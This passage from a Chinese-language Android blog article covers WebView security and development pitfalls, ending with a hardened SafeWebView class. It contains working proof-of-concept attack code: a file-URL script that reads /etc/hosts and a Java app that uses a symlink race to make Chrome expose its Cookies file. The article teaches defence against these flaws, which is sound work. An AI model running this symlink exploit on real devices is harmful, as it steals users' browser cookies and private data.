    JELLY_BEAN and above.複製代碼

      經過此API能夠設置是否容許經過 file url 加載的 Javascript 讀取其餘的本地文件,這個設置在 JELLY_BEAN(android 4.1) 之前的版本默認是容許,在 JELLY_BEAN 及之後的版本中默認是禁止的。當 AllowFileAccessFromFileURLs 設置爲 true 時,對應上面的 attack.html 代碼爲:

    <script>
    function loadXMLDoc() {
        var arm = "file:///etc/hosts";
        var xmlhttp;
        if (window.XMLHttpRequest)
        {
            xmlhttp=new XMLHttpRequest();
        }
        xmlhttp.onreadystatechange=function() {
            //alert("status is"+xmlhttp.status);
            if (xmlhttp.readyState==4)
            {
                  console.log(xmlhttp.responseText);
            }
        }
        xmlhttp.open("GET",arm);
        xmlhttp.send(null);
    }
    loadXMLDoc();
    </script>複製代碼

    ,此時經過這段代碼就能夠成功讀取 /etc/hosts 的內容,最顯著的例子就是 360 手機瀏覽器的早期 4.8 版本,因爲未對 file 域作安全限制,惡意 APP 調用 360 瀏覽器加載本地的攻擊頁面(好比惡意 APP 釋放到 sd 卡上的一個 html)後,就能夠獲取 360 手機瀏覽器下的全部私有數據,包括 webviewCookiesChromium.db 下的 Cookie 內容,可是若是設置爲 false 時,上述腳本執行會致使以下錯誤,表示瀏覽器禁止從 file url 中的 javascript 讀取其它本地文件:

    I/chromium(27749): [INFO:CONSOLE(0)] 「XMLHttpRequest cannot load file:///etc/hosts. Cross origin 
    requests are only supported for HTTP.」, source: file:///data/local/tmp/attack.html複製代碼

    setAllowUniversalAccessFromFileURLs)

      經過此 API 能夠設置是否容許經過 file url 加載的 Javascript 能夠訪問其餘的源,包括其餘的文件和 http,https 等其餘的源。這個設置在 JELLY_BEAN 之前的版本默認是容許,在 JELLY_BEAN 及之後的版本中默認是禁止的。若是此設置是容許,則 setAllowFileAccessFromFileURLs 不起作用,此時修改 attack.html 的代碼:

    <script>
    function loadXMLDoc() {
        var arm = "http://www.so.com";
        var xmlhttp;
        if (window.XMLHttpRequest)
        {
            xmlhttp=new XMLHttpRequest();
        }
        xmlhttp.onreadystatechange=function() {
            //alert("status is"+xmlhttp.status);
            if (xmlhttp.readyState==4)
            {
                 console.log(xmlhttp.responseText);
            }
        }
        xmlhttp.open("GET",arm);
        xmlhttp.send(null);
    }
    loadXMLDoc();
    </script>複製代碼

    當 AllowFileAccessFromFileURLs 爲 true 時,上述 javascript 能夠成功讀取 www.so.com 的內容,但設置爲 false 時,上述腳本執行會致使以下錯誤,表示瀏覽器禁止從 file url 中的 javascript 訪問其餘源的資源:

    I/chromium(28336): [INFO:CONSOLE(0)] 「XMLHttpRequest cannot
    load http://www.so.com/. Origin null is not allowed by
    Access-Control-Allow-Origin.」, source: file:///data/local/tmp/attack.html複製代碼

    以上漏洞的初步解決方案

      經過以上的介紹,初步的方案是使用下面的代碼來杜絕:

    setAllowFileAccess(true);                               //設置爲 false 將不能加載本地 html 文件
    setAllowFileAccessFromFileURLs(false);
    setAllowUniversalAccessFromFileURLs(false);複製代碼

    這樣就可讓 html 頁面加載本地的 javascript,同時杜絕加載的 js 訪問本地的文件或者讀取其餘的源,不是就 OK 了麼,並且在 JELLY_BEAN(android 4.1) 版本以及以後不是都默認爲 false 了麼,其實否則,咱們繼續往下看其餘漏洞。

    使用符號連接跨源

      爲了安全的使用 WebView,AllowUniversalAccessFromFileURLs 和 AllowFileAccessFromFileURLs 都應該設置爲禁止,在 JELLY_BEAN(android 4.1) 及之後的版本中這兩項設置默認也是禁止的,可是即便把這兩項都設置爲 false,經過 file URL 加載的 javascript 仍然有方法訪問其餘的本地文件,經過符號連接攻擊能夠達到這一目的,前提是容許 file URL 執行 javascript。這一攻擊能奏效的緣由是不管怎麼限制 file 協議的同源檢查,其 javascript 都應該能訪問當前的文件,經過 javascript 的延時執行和將當前文件替換成指向其它文件的軟連接就能夠讀取到被符號連接所指的文件,具體攻擊步驟見 Chromium bug 144866,下面也貼出了代碼和詳解。由於 Chrome 最新版本默認禁用 file 協議,因此這一漏洞在最新版的 Chrome 中並不存在,Google 也並無修復它,可是大量使用 WebView 的應用和瀏覽器,都有可能受到此漏洞的影響,經過利用此漏洞,無特殊權限的惡意 APP 能夠盜取瀏覽器的任意私有文件,包括但不限於 Cookie、保存的密碼、收藏夾和歷史記錄,並能夠將所盜取的文件上傳到攻擊者的服務器。下圖爲經過 file URL 讀取某手機瀏覽器 Cookie 的截圖:

    這裏寫圖片描述


    截圖將 Cookie alert 出來了,實際狀況能夠上傳到服務器,攻擊的詳細代碼以下所示:

    public class MainActivity extends AppCompatActivity {
        public final static String MY_PKG = "com.example.safewebview";
        public final static String MY_TMP_DIR = "/data/data/" + MY_PKG + "/tmp/";
        public final static String HTML_PATH = MY_TMP_DIR + "A" + Math.random() + ".html";
        public final static String TARGET_PKG = "com.android.chrome";
        public final static String TARGET_FILE_PATH = "/data/data/" + TARGET_PKG + "/app_chrome/Default/Cookies";
        public final static String HTML =
                "<body>" +
                        "<u>Wait a few seconds.</u>" +
                        "<script>" +
                        "var d = document;" +
                        "function doitjs() {" +
                        " var xhr = new XMLHttpRequest;" +
                        " xhr.onload = function() {" +
                        " var txt = xhr.responseText;" +
                        " d.body.appendChild(d.createTextNode(txt));" +
                        " alert(txt);" +
                        " };" +
                        " xhr.open('GET', d.URL);" +
                        " xhr.send(null);" +
                        "}" +
                        "setTimeout(doitjs, 8000);" +
                        "</script>" +
                        "</body>";
    
        @Override
        public void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            doit();
        }
    
        public void doit() {
            try {
                // Create a malicious HTML
                cmdexec("mkdir " + MY_TMP_DIR);
                cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
                cmdexec("chmod -R 777 " + MY_TMP_DIR);
    
                Thread.sleep(1000);
    
                // Force Chrome to load the malicious HTML
                invokeChrome("file://" + HTML_PATH);
    
                Thread.sleep(4000);
    
                // Replace the HTML with a symlink to Chrome's Cookie file
                cmdexec("rm " + HTML_PATH);
                cmdexec("ln -s " + TARGET_FILE_PATH + " " + HTML_PATH);
            } catch (Exception e) {
            }
        }
    
        public void invokeChrome(String url) {
            Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
            intent.setClassName(TARGET_PKG, TARGET_PKG + ".Main");
            startActivity(intent);
        }
    
        public void cmdexec(String cmd) {
            try {
                String[] tmp = new String[]{"/system/bin/sh", "-c", cmd};
                Runtime.getRuntime().exec(tmp);
            } catch (Exception e) {
            }
        }
    }複製代碼

    這就是使用符號連接跨源獲取私有文件的代碼,應該不難讀懂,首先把惡意的 js 代碼輸出到攻擊應用的目錄下,隨機命名爲 xx.html,而且修改該目錄的權限,修改完成以後休眠 1s,讓文件操做完成,完成以後經過系統的 Chrome 應用去打開這個 xx.html 文件,而後等待 4s 讓 Chrome 加載完成該 html,最後將該 html 刪除,而且使用 ln -s 命令爲 Chrome 的 Cookie 文件建立軟鏈接,注意,在這條命令執行以前 xx.html 是不存在的,執行完這條命令以後,就生成了這個文件,而且將 Cookie 文件連接到了 xx.html 上,因而就能夠經過連接來訪問 Chrome 的 Cookie 了。

    setJavaScriptEnabled)

      經過此 API 能夠設置是否容許 WebView 使用 JavaScript,默認是不容許,但不少應用,包括移動瀏覽器爲了讓 WebView 執行 http 協議中的 JavaScript,都會主動設置容許 WebView 執行 JavaScript,而又不會對不一樣的協議區別對待,比較安全的實現是若是加載的 url 是 http 或 https 協議,則啓用 JavaScript,若是是其它危險協議,好比是 file 協議,則禁用 JavaScript。若是是 file 協議,禁用 javascript 能夠很大程度上減少跨源漏洞對 WebView 的威脅,可是此時禁用 JavaScript 的執行並不能徹底杜絕跨源文件泄露。例如,有的應用實現了下載功能,對於加載不了的頁面,會自動下載到 sd 卡中,因爲 sd 卡中的文件全部應用均可以訪問,因而能夠經過構造一個 file URL 指向被攻擊應用的私有文件,而後用此 URL 啓動被攻擊應用的 WebActivity,這樣因爲該 WebActivity 沒法加載該文件,就會將該文件下載到 sd 卡下面,而後就能夠從 sd 卡上讀取這個文件了,固然這種應用比較少,這個也算是應用自身無心產生的一個漏洞吧。

    以上漏洞的解決方案

      針對 WebView 域控制不嚴格漏洞的安全建議以下:

    1. 對於不須要使用 file 協議的應用,禁用 file 協議;
    2. 對於須要使用 file 協議的應用,禁止 file 協議加載 JavaScript。
      因此兩種解決辦法,第一種相似 Chrome,直接禁止 file 協議:

    setAllowFileAccess(false);                              //設置爲 false 將不能加載本地 html 文件
    setAllowFileAccessFromFileURLs(false);
    setAllowUniversalAccessFromFileURLs(false);複製代碼

    第二種是根據不一樣狀況不一樣處理(沒法避免應用對於沒法加載的頁面下載到 sd 卡上這個漏洞):

    setAllowFileAccess(true);                             //設置爲 false 將不能加載本地 html 文件
    setAllowFileAccessFromFileURLs(false);
    setAllowUniversalAccessFromFileURLs(false);
    if (url.startsWith("file://") {
        setJavaScriptEnabled(false);
    } else {
        setJavaScriptEnabled(true);
    }複製代碼

    開發中碰見的坑

      這裏記錄一下開發中遇到的一些坑和解決辦法:

    loadData() 方法

      咱們能夠經過使用 WebView.loadData(String data, String mimeType, String encoding)) 方法來加載一整個 HTML 頁面的一小段內容,第一個就是咱們須要 WebView 展現的內容,第二個是咱們告訴 WebView 咱們展現內容的類型,通常,第三個是字節碼,可是使用的時候,這裏會有一些坑,咱們來看一個簡單的例子:

    String html = new String("<h3>我是loadData() 的標題</h3><p>&nbsp&nbsp我是他的內容</p>");
    webView.loadData(html, "text/html", "UTF-8");複製代碼

    這裏的邏輯很簡單,加載一個簡單的富文本標籤,咱們看看運行後的效果:

    這裏寫圖片描述


    能夠注意到這裏顯示成亂碼了,但是明明已經指定了編碼格式爲 UTF-8 啊,但是這就是使用的坑,咱們須要將代碼進行修改:

    String html = new String("<h3>我是loadData() 的標題</h3><p>&nbsp&nbsp我是他的內容</p>");
    webView.loadData(html, "text/html;charset=UTF-8", "null");複製代碼

    咱們再來看看顯示效果:

    這裏寫圖片描述


    這樣咱們就能夠看到正確的內容了,Google 還指出,在咱們這種加載的方法下,咱們的 Data 數據裏不能出現 ’#’, ‘%’, ‘\’ , ‘?’ 這四個字符,若是出現了咱們要用 %23, %25, %27, %3f 對應來替代,網上列舉了未將特定字符轉義過程當中遇到的異常現象:

    A)   %  會報找不到頁面錯誤,頁面全是亂碼。
    B)   #  會讓你的 goBack 失效,但 canGoBAck 是可使用的,因而就會產生返回按鈕生效,但不能返回的狀況。
    C)   \ 和 ?  在轉換時,會報錯,由於它會把 \ 看成轉義符來使用,若是用兩級轉義,也不生效。複製代碼

    咱們在使用 loadData() 時,就意味着須要把全部的非法字符所有轉換掉,這樣就會給運行速度帶來很大的影響,由於在使用時,不少狀況下頁面 stytle 中會使用不少 '%' 號,頁面的數據越多,運行的速度就會越慢。

    頁面空白

      當 WebView 嵌套在 ScrollView 裏面的時候,若是 WebView 先加載了一個高度很高的網頁,而後加載了一個高度很低的網頁,就會形成 WebView 的高度沒法自適應,底部出現大量空白的狀況出現,具體的能夠看看我之前的博客:android ScollView 嵌套 WebView 底部空白,高度沒法自適應解決

    內存泄漏

      WebView 的內存泄漏是一個比較大的問題,尤爲是當加載的頁面比較龐大的時候,解決方法網上也比較多,可是看狀況大部分都不是能完全根治的,這裏說一下 QQ 和微信的作法,每當打開一個 WebView 界面的時候,會開啓一個新進程,在頁面退出以後經過 System.exit(0) 關閉這個進程,這樣就不會存在內存泄漏的問題了,具體的作法能夠查看這篇博客:Android WebView Memory Leak WebView內存泄漏,裏面也提供了另一種解決辦法,感興趣的能夠去看一下。

    setBuiltInZoomControls 引發的 Crash

      當使用 mWebView.getSettings().setBuiltInZoomControls(true) 啓用該設置後,用戶一旦觸摸屏幕,就會出現縮放控制圖標。這個圖標過上幾秒會自動消失,但在 3.0 之上 4.4 系統之下不少手機會出現這種狀況:若是圖標自動消失前退出當前 Activity 的話,就會發生 ZoomButton 找不到依附的 Window 而形成程序崩潰,解決辦法很簡單就是在 Activity 的 onDestory 方法中調用 mWebView.setVisibility(View.GONE); 方法,手動將其隱藏,就不會崩潰了。

    後臺沒法釋放 JS 致使耗電

      若是 WebView 加載的的 html 裏有一些 JS 一直在執行好比動畫之類的東西,若是此刻 WebView 掛在了後臺,這些資源是不會被釋放,用戶也沒法感知,致使一直佔有 CPU 增長耗電量,若是遇到這種狀況,在 onStop 和 onResume 裏分別把 setJavaScriptEnabled() 給設置成 false 和 true 便可。

    源碼

      來看看解決上述問題的 WebView 源碼:

    public class SafeWebView extends WebView {
        private static final boolean DEBUG = true;
        private static final String VAR_ARG_PREFIX = "arg";
        private static final String MSG_PROMPT_HEADER = "MyApp:";
        /** * 對象名 */
        private static final String KEY_INTERFACE_NAME = "obj";
        /** * 函數名 */
        private static final String KEY_FUNCTION_NAME = "func";
        /** * 參數數組 */
        private static final String KEY_ARG_ARRAY = "args";
        /** * 要過濾的方法數組 */
        private static final String[] mFilterMethods = {
                "getClass",
                "hashCode",
                "notify",
                "notifyAll",
                "equals",
                "toString",
                "wait",
        };
    
        /** * 緩存addJavascriptInterface的註冊對象 */
        private HashMap<String, Object> mJsInterfaceMap = new HashMap<>();
    
        /** * 緩存注入到JavaScript Context的js腳本 */
        private String mJsStringCache = null;
    
        public SafeWebView(Context context, AttributeSet attrs, int defStyle) {
            super(context, attrs, defStyle);
            init();
        }
    
        public SafeWebView(Context context, AttributeSet attrs) {
            super(context, attrs);
            init();
        }
    
        public SafeWebView(Context context) {
            super(context);
            init();
        }
    
        /** * WebView 初始化,設置監聽,刪除部分Android默認註冊的JS接口 */
        private void init() {
            setWebChromeClient(new WebChromeClientEx());
            setWebViewClient(new WebViewClientEx());
            safeSetting();
    
            removeUnSafeJavascriptImpl();
        }
    
        /** * 安全性設置 */
        private void safeSetting() {
            getSettings().setSavePassword(false);
            getSettings().setAllowFileAccess(false);//設置爲 false 將不能加載本地 html 文件
            if (Build.VERSION.SDK_INT >= 16) {
                getSettings().setAllowFileAccessFromFileURLs(false);
                getSettings().setAllowUniversalAccessFromFileURLs(false);
            }
        }
    
        /** * 檢查SDK版本是否 >= 3.0 (API 11) */
        private boolean hasHoneycomb() {
            return Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB;
        }
    
        /** * 檢查SDK版本是否 >= 4.2 (API 17) */
        private boolean hasJellyBeanMR1() {
            return Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1;
        }
    
        /** * 3.0 ~ 4.2 之間的版本須要移除 Google 注入的幾個對象 */
        @SuppressLint("NewApi")
        private boolean removeUnSafeJavascriptImpl() {
            if (hasHoneycomb() && !hasJellyBeanMR1()) {
                super.removeJavascriptInterface("searchBoxJavaBridge_");
                super.removeJavascriptInterface("accessibility");
                super.removeJavascriptInterface("accessibilityTraversal");
                return true;
            }
            return false;
        }
    
        @Override
        public void setWebViewClient(WebViewClient client) {
            if (hasJellyBeanMR1()) {
                super.setWebViewClient(client);
            } else {
                if (client instanceof WebViewClientEx) {
                    super.setWebViewClient(client);
                } else if (client == null) {
                    super.setWebViewClient(client);
                } else {
                    throw new IllegalArgumentException(
                            "the \'client\' must be a subclass of the \'WebViewClientEx\'");
                }
            }
        }
    
        @Override
        public void setWebChromeClient(WebChromeClient client) {
            if (hasJellyBeanMR1()) {
                super.setWebChromeClient(client);
            } else {
                if (client instanceof WebChromeClientEx) {
                    super.setWebChromeClient(client);
                } else if (client == null) {
                    super.setWebChromeClient(client);
                } else {
                    throw new IllegalArgumentException(
                            "the \'client\' must be a subclass of the \'WebChromeClientEx\'");
                }
            }
        }
    
        /** * 若是版本大於 4.2,漏洞已經被解決,直接調用基類的 addJavascriptInterface * 若是版本小於 4.2,則使用map緩存待注入對象 */
        @SuppressLint("JavascriptInterface")
        @Override
        public void addJavascriptInterface(Object obj, String interfaceName) {
            if (TextUtils.isEmpty(interfaceName)) {
                return;
            }
    
            // 若是在4.2以上,直接調用基類的方法來註冊
            if (hasJellyBeanMR1()) {
                super.addJavascriptInterface(obj, interfaceName);
            } else {
                mJsInterfaceMap.put(interfaceName, obj);
            }
        }
    
        /** * 刪除待注入對象, * 若是版本爲 4.2 以及 4.2 以上,則使用父類的removeJavascriptInterface。 * 若是版本小於 4.2,則從緩存 map 中刪除注入對象 */
        @SuppressLint("NewApi")
        public void removeJavascriptInterface(String interfaceName) {
            if (hasJellyBeanMR1()) {
                super.removeJavascriptInterface(interfaceName);
            } else {
                mJsInterfaceMap.remove(interfaceName);
                //每次 remove 以後,都須要從新構造 JS 注入
                mJsStringCache = null;
                injectJavascriptInterfaces();
            }
        }
    
        /** * 若是 WebView 是 SafeWebView 類型,則向 JavaScript Context 注入對象,確保 WebView 是有安全機制的 */
        private void injectJavascriptInterfaces(WebView webView) {
            if (webView instanceof SafeWebView) {
                injectJavascriptInterfaces();
            }
        }
    
        /** * 注入咱們構造的 JS */
        private void injectJavascriptInterfaces() {
            if (!TextUtils.isEmpty(mJsStringCache)) {
                loadUrl(mJsStringCache);
                return;
            }
    
            mJsStringCache = genJavascriptInterfacesString();
            loadUrl(mJsStringCache);
        }
    
        /** * 根據緩存的待注入java對象,生成映射的JavaScript代碼,也就是橋樑(SDK4.2以前經過反射生成) */
        private String genJavascriptInterfacesString() {
            if (mJsInterfaceMap.size() == 0) {
                return null;
            }
    
            /* * 要注入的JS的格式,其中XXX爲注入的對象的方法名,例如注入的對象中有一個方法A,那麼這個XXX就是A * 若是這個對象中有多個方法,則會註冊多個window.XXX_js_interface_name塊,咱們是用反射的方法遍歷 * 注入對象中的帶有@JavaScripterInterface標註的方法 * * javascript:(function JsAddJavascriptInterface_(){ * if(typeof(window.XXX_js_interface_name)!='undefined'){ * console.log('window.XXX_js_interface_name is exist!!'); * }else{ * window.XXX_js_interface_name={ * XXX:function(arg0,arg1){ * return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]})); * }, * }; * } * })() */
    
            Iterator<Map.Entry<String, Object>> iterator = mJsInterfaceMap.entrySet().iterator();
            //HEAD
            StringBuilder script = new StringBuilder();
            script.append("javascript:(function JsAddJavascriptInterface_(){");
    
            // 遍歷待注入java對象,生成相應的js對象
            try {
                while (iterator.hasNext()) {
                    Map.Entry<String, Object> entry = iterator.next();
                    String interfaceName = entry.getKey();
                    Object obj = entry.getValue();
                    // 生成相應的js方法
                    createJsMethod(interfaceName, obj, script);
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
    
            // End
            script.append("})()");
            return script.toString();
        }
    
        /** * 根據待注入的java對象,生成js方法 * * @param interfaceName 對象名 * @param obj 待注入的java對象 * @param script js代碼 */
        private void createJsMethod(String interfaceName, Object obj, StringBuilder script) {
            if (TextUtils.isEmpty(interfaceName) || (null == obj) || (null == script)) {
                return;
            }
    
            Class<? extends Object> objClass = obj.getClass();
    
            script.append("if(typeof(window.").append(interfaceName).append(")!='undefined'){");
            if (DEBUG) {
                script.append(" console.log('window." + interfaceName + "_js_interface_name is exist!!');");
            }
    
            script.append("}else {");
            script.append(" window.").append(interfaceName).append("={");
    
            // 經過反射機制,添加java對象的方法
            Method[] methods = objClass.getMethods();
            for (Method method : methods) {
                String methodName = method.getName();
                // 過濾掉Object類的方法,包括getClass()方法,由於在Js中就是經過getClass()方法來獲得Runtime實例
                if (filterMethods(methodName)) {
                    continue;
                }
    
                script.append(" ").append(methodName).append(":function(");
                // 添加方法的參數
                int argCount = method.getParameterTypes().length;
                if (argCount > 0) {
                    int maxCount = argCount - 1;
                    for (int i = 0; i < maxCount; ++i) {
                        script.append(VAR_ARG_PREFIX).append(i).append(",");
                    }
                    script.append(VAR_ARG_PREFIX).append(argCount - 1);
                }
    
                script.append(") {");
    
                // Add implementation
                if (method.getReturnType() != void.class) {
                    script.append(" return ").append("prompt('").append(MSG_PROMPT_HEADER).append("'+");
                } else {
                    script.append(" prompt('").append(MSG_PROMPT_HEADER).append("'+");
                }
    
                // Begin JSON
                script.append("JSON.stringify({");
                script.append(KEY_INTERFACE_NAME).append(":'").append(interfaceName).append("',");
                script.append(KEY_FUNCTION_NAME).append(":'").append(methodName).append("',");
                script.append(KEY_ARG_ARRAY).append(":[");
                // 添加參數到JSON串中
                if (argCount > 0) {
                    int max = argCount - 1;
                    for (int i = 0; i < max; i++) {
                        script.append(VAR_ARG_PREFIX).append(i).append(",");
                    }
                    script.append(VAR_ARG_PREFIX).append(max);
                }
    
                // End JSON
                script.append("]})");
                // End prompt
                script.append(");");
                // End function
                script.append(" }, ");
            }
    
            // End of obj
            script.append(" };");
            // End of if or else
            script.append("}");
        }
    
        /** * 檢查是不是被過濾的方法 */
        private boolean filterMethods(String methodName) {
            for (String method : mFilterMethods) {
                if (method.equals(methodName)) {
                    return true;
                }
            }
            return false;
        }
    
        /** * 利用反射,調用java對象的方法。 * <p> * 從緩存中取出key=interfaceName的java對象,並調用其methodName方法 * * @param result * @param interfaceName 對象名 * @param methodName 方法名 * @param args 參數列表 * @return */
        private boolean invokeJSInterfaceMethod(JsPromptResult result, String interfaceName, String methodName, Object[] args) {
    
            boolean succeed = false;
            final Object obj = mJsInterfaceMap.get(interfaceName);
            if (null == obj) {
                result.cancel();
                return false;
            }
    
            Class<?>[] parameterTypes = null;
            int count = 0;
            if (args != null) {
                count = args.length;
            }
    
            if (count > 0) {
                parameterTypes = new Class[count];
                for (int i = 0; i < count; ++i) {
                    parameterTypes[i] = getClassFromJsonObject(args[i]);
                }
            }
    
            try {
                Method method = obj.getClass().getMethod(methodName, parameterTypes);
                Object returnObj = method.invoke(obj, args); // 執行接口調用
                boolean isVoid = returnObj == null || returnObj.getClass() == void.class;
                String returnValue = isVoid ? "" : returnObj.toString();
                result.confirm(returnValue); // 經過prompt返回調用結果
                succeed = true;
            } catch (NoSuchMethodException e) {
                e.printStackTrace();
            } catch (Exception e) {
                e.printStackTrace();
            }
    
            result.cancel();
            return succeed;
        }
    
        /** * 解析出參數類型 * * @param obj * @return */
        private Class<?> getClassFromJsonObject(Object obj) {
            Class<?> cls = obj.getClass();
    
            // js對象只支持int boolean string三種類型
            if (cls == Integer.class) {
                cls = Integer.TYPE;
            } else if (cls == Boolean.class) {
                cls = Boolean.TYPE;
            } else {
                cls = String.class;
            }
    
            return cls;
        }
    
        /** * 解析JavaScript調用prompt的參數message,提取出對象名、方法名,以及參數列表,再利用反射,調用java對象的方法。 * * @param view * @param url * @param message MyApp:{"obj":"jsInterface","func":"onButtonClick","args":["從JS中傳遞過來的文本!!!"]} * @param defaultValue * @param result * @return */
        private boolean handleJsInterface(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
            String prefix = MSG_PROMPT_HEADER;
            if (!message.startsWith(prefix)) {
                return false;
            }
    
            String jsonStr = message.substring(prefix.length());
            try {
                JSONObject jsonObj = new JSONObject(jsonStr);
                // 對象名稱
                String interfaceName = jsonObj.getString(KEY_INTERFACE_NAME);
                // 方法名稱
                String methodName = jsonObj.getString(KEY_FUNCTION_NAME);
                // 參數數組
                JSONArray argsArray = jsonObj.getJSONArray(KEY_ARG_ARRAY);
                Object[] args = null;
                if (null != argsArray) {
                    int count = argsArray.length();
                    if (count > 0) {
                        args = new Object[count];
    
                        for (int i = 0; i < count; ++i) {
                            Object arg = argsArray.get(i);
                            if (!arg.toString().equals("null")) {
                                args[i] = arg;
                            } else {
                                args[i] = null;
                            }
                        }
                    }
                }
    
                if (invokeJSInterfaceMethod(result, interfaceName, methodName, args)) {
                    return true;
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
    
            result.cancel();
            return false;
        }
    
        private class WebChromeClientEx extends WebChromeClient {
            @Override
            public final void onProgressChanged(WebView view, int newProgress) {
                injectJavascriptInterfaces(view);
                super.onProgressChanged(view, newProgress);
            }
    
            @Override
            public final boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
                if (view instanceof SafeWebView) {
                    if (handleJsInterface(view, url, message, defaultValue, result)) {
                        return true;
                    }
                }
    
                return super.onJsPrompt(view, url, message, defaultValue, result);
            }
    
            @Override
            public final void onReceivedTitle(WebView view, String title) {
                injectJavascriptInterfaces(view);
            }
        }
    
        private class WebViewClientEx extends WebViewClient {
            @Override
            public void onLoadResource(WebView view, String url) {
                injectJavascriptInterfaces(view);
                super.onLoadResource(view, url);
            }
    
            @Override
            public void doUpdateVisitedHistory(WebView view, String url, boolean isReload) {
                injectJavascriptInterfaces(view);
                super.doUpdateVisitedHistory(view, url, isReload);
            }
    
            @Override
            public void onPageStarted(WebView view, String url, Bitmap favicon) {
                injectJavascriptInterfaces(view);
                super.onPageStarted(view, url, favicon);
            }
    
            @Override
            public void onPageFinished(WebView view, String url) {
                injectJavascriptInterfaces(view);
                super.onPageFinished(view, url);
            }
        }
    }複製代碼

    這段代碼基本是按照上面所描述的狀況來寫的,修復了上面提到的幾個漏洞,這裏再描述一下幾個須要注意的點:

    • removeUnSafeJavascriptImpl :該函數用來在特定版本刪除上面提到的幾個 Google 注入的對象;
    • setWebViewClient 和 setWebChromeClient :重寫這兩個函數用來防止子類使用原生的 WebViewClient 和 WebChromeClient 致使失效;
    • 在上面提到的 onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged 幾個方法裏面調用 injectJavascriptInterfaces 方法來注入生成的 JS 代碼;
    • genJavascriptInterfacesString 函數用來生成須要注入的 JS 代碼,其中經過 filterMethods 方法過濾掉了上面提到的幾個須要過濾的方法;
    • 注入完 JS 以後,Web 端就能夠根據方法名調用對應終端注入的這段 JS 函數,而後調用到終端的 onJsPrompt 方法,經過 message 變量將信息傳遞過來,終端解析出對象、方法名和參數,最後經過反射的方法調用到 Native 層的代碼,另外若是須要返回值,則能夠經過 JsPromptResult 對象經過 confirm 函數將信息從 Native 層傳遞給 Web 端,這樣就實現了一個完整的調用鏈。
      下載源碼: github.com/zhaozepeng/…

    引用

    group.jobbole.com/26417/?utm_…
    blog.csdn.net/jiangwei091…
    blog.csdn.net/leehong2005…
    github.com/yushiwo/Web…
    blog.csdn.net/sk719887916…
    zhuanlan.zhihu.com/p/24202408
    github.com/lzyzsd/JsBr…
    www.jianshu.com/p/93cea79a2…
    www.codexiu.cn/android/blo…
    github.com/pedant/safe…
    blog.sina.com.cn/s/blog_777f…
    www.cnblogs.com/chaoyuehedy…
    blogs.360.cn/360mobile/2…
    my.oschina.net/zhibuji/blo…
    www.cnblogs.com/punkisnotde…

    相關文章
    相關標籤/搜索